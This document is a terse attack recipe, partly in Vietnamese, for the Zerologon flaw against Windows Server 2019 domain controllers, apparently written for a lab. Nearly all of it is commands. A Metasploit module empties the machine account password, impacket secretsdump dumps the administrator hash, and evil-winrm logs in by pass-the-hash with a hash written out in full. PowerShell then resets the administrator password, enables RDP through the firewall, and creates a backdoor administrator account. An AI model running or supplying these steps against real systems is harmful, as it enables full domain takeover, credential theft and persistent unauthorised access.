**ATTACK ZEROLOGON**

**Attack Windows Server 2019**

**IP: 192.168.139.115**

**192.168.139.136**

1. **Empty pass**

msfconsole

search 1472

use 5

set NBNAME DC1 hoặc set NBNAME win2019

set RHOSTS 192.168.139.115 hoặc set RHOSTS 192.168.139.136

exploit

1. **Password hash dump**

cd Desktop/impacket-0.9.22/examples

python3 secretsdump.py -no-pass bkacad/dc1$\@192.168.139.115

hoặc:

python3 secretsdump.py -no-pass abc/win2019$\@192.168.139.136

bước này sẽ lấy được pass hàm hash của administrator

1. **Connect**

Winrm

sudo gem install winrm winrm-fs colorize stringio

cd /root/Desktop/evil-winrm

chmod 755 \*

./evil-winrm.rb -i 192.168.139.115 -u administrator -H 2e04b685d270551919dcde46f5b6ae5d

**Reset password administrator:**

Set-ADAccountPassword -Identity administrator -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "123.abc" -Force)

**Enable remote Desktop:**

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0

**Allow RDP windows firewall:**

Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

Create New ADUser:

New-ADUser -Name hungtn1 -Path "cn=users,DC=abc,DC=com" -AccountPassword (ConvertTo-SecureString "P@ssw0rd" -AsPlainText -force) -Enabled $true

Add User to administrators Group:

Add-ADGroupMember -Identity administrators -Members hungtn